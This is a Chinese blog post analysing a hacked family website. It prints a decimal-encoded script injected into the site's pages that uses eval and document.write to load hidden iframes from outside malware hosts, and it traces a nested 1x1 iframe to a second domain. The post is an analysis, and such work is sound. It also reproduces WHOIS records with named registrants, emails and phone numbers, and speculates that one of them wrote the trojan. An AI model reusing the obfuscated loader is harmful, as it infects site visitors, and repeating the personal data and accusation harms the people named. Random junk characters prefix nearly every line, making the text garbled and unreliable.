首发在我的博客里面，
WA
LGIW T 4|jz<iK] http://www.areway.cn/?p=175 ~F#A
Pt gvnj&h.GV .yVnw^gu 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`W[+%b W>L@j( <script>t=’60,105,102,114,97,109,101,
gKL1c{BV 32,115,114,99,61,104,116,116,112,58,47,47,
R I@*O6\/I 102,114,101,101,46,117,45,117,117,117,46,99,
wq4nMY:# 110,47,101,114,114,111,114,46,104,116,109,
eO{@@?/y 32,119,105,100,116,104,61,49,48,48,32,104,
I sovwd 101,105,103,104,116,61,48,62,60,47,105,102,
v3JPE])/ 114,97,109,101,62′;
jNy?[
) t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
bV3lE6z ARx0zI%N <script>t=’60,105,102,114,97,109,101,32,115,
=w <VT% 114,99,61,104,116,116,112,58,47,47,102,114,
lIuXo3 101,101,46,117,45,117,117,117,46,99,110,47,
g8yN% )[ 101,114,114,111,114,46,104,116,109,32,119,
Ko}2%4o n 105,100,116,104,61,49,48,48,32,104,101,105,
V:\]cGA{ 103,104,116,61,48,62,60,47,105,102,114,97,
s#lto0b"8 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
S! 7g) document.write(t);</script>
f[qPG& {Bvm'lq` <html xmlns=”
e d; "bb http://www.w3.org/1999/xhtml Igjr~@ # “>
@\~tHJ?hQd <head>
]
C,1%( <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
a9[< ^ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
6+ 8mV8{-8 <title>首页 - 爱生活家庭网
y[:q"BB3 hNO )~ rt 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
k
]bPI$ 转换字符串后的大概内容是（谁点击后果自付）：
pb$fb <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
?f@ 9n ph %FlA ":W 查询玉米u-uuu.cn的详细信息：
aQmfrx Domain Name: u-uuu.cn
P Ey /k. ROID: 20070901s10001s64972306-cn
;\s~%~ \ Domain Status: ok
a*Jn#Mx<M Registrant Organization: 王雷
o
PaZ Registrant Name: 王雷
966<I56+ Administrative Email:
czlovexs@126.com BVAr&cu Sponsoring Registrar: 北京万网志成科技有限公司
6+Jry@ Name Server:ns.yovole.com
P/`m3aSzX. Name Server:ns1.yovole.com
( H[ Registration Date: 2007-09-01 17:54
M*H<
n* Expiration Date: 2008-09-01 17:54
gV .f*E1C 最后PING了一下地址 都没有什么….
k<, u 0 \kk!Dz*H 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
F 8 ?uQP8 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
V{FE [v_ <script language=”javascript” src=”
|1i]L @& http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -? Tz.y& >
}\4p3RQrz 这个玉米应该有可能是木马作者的：
#~1wv^ foafau.info的详细信息：
j Ii[ Access to INFO WHOIS information is provided to assist persons in
*) }
:l determining the contents of a domain name registration record in the
\2Xx%SX Afilias registry database. The data in this record is provided by
|f3U%2@ Afilias Limited for informational purposes only, and Afilias does not
W[GQ[h guarantee its accuracy. This service is intended only for query-based
,,}s K access. You agree that you will use this data only for lawful purposes
>"bnpYSe and that, under no circumstances will you use this data to: (a) allow,
WzlS^bZ enable, or otherwise support the transmission by e-mail, telephone, or
WT?b Bf facsimile of mass unsolicited, commercial advertising or solicitations
a(5y>HF
to entities other than the data recipient’s own existing customers; or
8Y xhd
. (b) enable high volume, automated, electronic processes that send
&8wa ih(| queries or data to the systems of Registry Operator, a Registrar, or
[='p!7 z Afilias except as reasonably necessary to register domain names or
33,;i E modify existing registrations. All rights reserved. Afilias reserves
&:q[-K@! the right to modify these terms at any time. By submitting this query,
mw ?{LT you agree to abide by this policy.
?-d
Ain1w Domain ID:D22418703-LRMS
>"O1`xdG Domain Name:FOAFAU.INFO
^ ~,
ndH{ Created On:20-Nov-2007 16:05:42 UTC
s><IykIi Last Updated On:20-Nov-2007 16:05:44 UTC
PK_Fx';ke^ Expiration Date:20-Nov-2008 16:05:42 UTC
^J0zXe -d Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
90?,-6 Status:CLIENT DELETE PROHIBITED
m,= )qex Status:CLIENT RENEW PROHIBITED
9ptZVv=O Status:CLIENT TRANSFER PROHIBITED
~~ U < Status:CLIENT UPDATE PROHIBITED
;FcExg|k Status:TRANSFER PROHIBITED
1Jl{1;c Registrant ID:GODA-040110615
g%X &f_@ Registrant Name:liu hong
yB=C5-\F Registrant Organization:
g>UBZA4 Registrant Street1:beijing
wInY7u Bd! Registrant Street2:
cJSV T8 Registrant Street3:
c%js u" Registrant City:beijing
W0C{~|e Registrant State/Province:
]c5DOv & Registrant Postal Code:100000
Td5bDO Registrant Country:CN
dFx2>6AZt Registrant Phone:+86.860108888777
]NbX`' Registrant Phone Ext.:
vlAO z Registrant FAX:
g'KzdG`O0 Registrant FAX Ext.:
h -Tsi:%b Registrant Email:bbbshiji@163.com
{ms,q_Zr Admin ID:GODA-240110615
1 % asx'^ Admin Name:liu hong
z~ BD(FDI Admin Organization:
s Ke, Admin Street1:beijing
WC3W+v G7 Admin Street2:
u82h6s<'W Admin Street3:
g[m3IJzq Admin City:beijing
<9 ePi9D( Admin State/Province:
+ .S#= Admin Postal Code:100000
2T//%ys= Admin Country:CN
g8 LT 7 Admin Phone:+86.860108888777
UCe ,2v% Admin Phone Ext.:
K5 5} Wi Admin FAX:
7bA4 P* Admin FAX Ext.:
_Wm(/ +G_| Admin Email:bbbshiji@163.com
T Te A a Billing ID:GODA-340110615
S9 $o Billing Name:liu hong
nw~/ ~eM5= Billing Organization:
[SCw<<l< Billing Street1:beijing
T g3:V D Billing Street2:
>r;ABz/ Billing Street3:
}V\P,ck Billing City:beijing
fn1 ?Qp| Billing State/Province:
o} WB(WsG Billing Postal Code:100000
^zvA?'s Billing Country:CN
(:_%kmu Billing Phone:+86.860108888777
B@ZqJw9J[ Billing Phone Ext.:
HF*j`} Billing FAX:
i!CK A}", Billing FAX Ext.:
g2+l@$W Billing Email:bbbshiji@163.com
s$f+/H s Tech ID:GODA-140110615
80{#bb Tech Name:liu hong
@J~ lV\ Tech Organization:
T)b3N| ONB Tech Street1:beijing
4a(g<5wfI Tech Street2:
=giM@MV Tech Street3:
4 ?9soc Tech City:beijing
>/7KL2* Tech State/Province:
r4;5b s6wm Tech Postal Code:100000
JIyBhFI Tech Country:CN
X@6zI-Y % Tech Phone:+86.860108888777
anHBy SI3 Tech Phone Ext.:
l(h;e&9x Tech FAX:
1VhoJGH;C Tech FAX Ext.:
p{A}p9sjx Tech Email:bbbshiji@163.com
E[ )7tr Name Server:NS27.DOMAINCONTROL.COM
](B& l{V Name Server:NS28.DOMAINCONTROL.COM
@D. R0uM Name Server:
Nb ^zkg Name Server:
, aRJ!AZ Name Server:
K^!e-Xi6 Name Server:
|@ o]X?^ Name Server:
<.PPs:{8# Name Server:
L Q I: ]d Name Server:
Bq$e|t)' Name Server:
E3CiZ4=5 Name Server:
,Az`6PW Name Server:
bR>o!(M'Z\ Name Server:
9B!im\]O 5XSxQG@k^z 接着下载每个文件里面的代码：
O84v*=u A 一步一步看..
%{N$1ht^ 
,? 0-=o 
" oE^R?m 
q
G :jnl 
E< zT 
? z)y%`} 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
